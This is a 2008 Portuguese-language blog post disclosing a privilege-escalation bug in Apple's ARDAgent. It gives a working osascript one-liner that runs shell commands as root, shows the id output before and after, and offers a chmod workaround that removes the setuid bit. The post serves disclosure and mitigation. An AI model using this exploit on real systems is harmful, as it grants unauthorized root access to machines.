últimos posts

Bug: Apple Script – Escalação de Privilégio.

19 junho, 2008 Postado por: Eduardo Medeiros

Encontrado BUG de escalação de privilégio no ARDAgent (Apple Remote Desktopt).

Com AppleScript é possivel executar comandos como usuário root.

Veja o exemplo abaixo:

# id

uid=501(eduardomedeiros) gid=20(staff) groups=20(staff),102(com.apple.access_ssh),98(_lpadmin),81(_appserveradm),103(com.apple.sharepoint.group.2),79(_appserverusr),101(com.apple.sharepoint.group.1),80(admin)

Obs: note que estou logado como usuário eduardomedeiros

# osascript -e 'tell app "ARDAgent" to do shell script "id"';

uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),103(com.apple.sharepoint.group.2),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff)

Obs: Repare que a saída do comando id, exibe usuário root.

Solução provisória:

chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent

Obs: Ao Reparar as permissões pelo Disk Utility, a permissão do ARD voltará ao estado original.

Fonte: Slashdot.

Abraços.

Categoria OSX, Segurança | Sem comentários »


Deixe uma resposta

top 10 posts

últimos comentários


  • dotmac: Boa! não sabia dessa. Valeu!
  • Fabio: Nesses casos utilizo o unzip no Terminal: unzip -x nome_arquivo.zip
  • jean: obrigado
  • Francisco Medeiros: Ótima dica! ;)
  • ƒavarão: Software livre vai dominar o mundo ò.Ó…\\m/ Muito bom o seu blog!!!

Site feito por: Eduardo Medeiros, utilizando tecnologia Wordpress.
Melhor visualizado no Firefox/Safari/I.E 8.0
DOTMAC - 2005-2009 - Todos os direitos reservados.

rss Valid XHTML 1.0 Transitional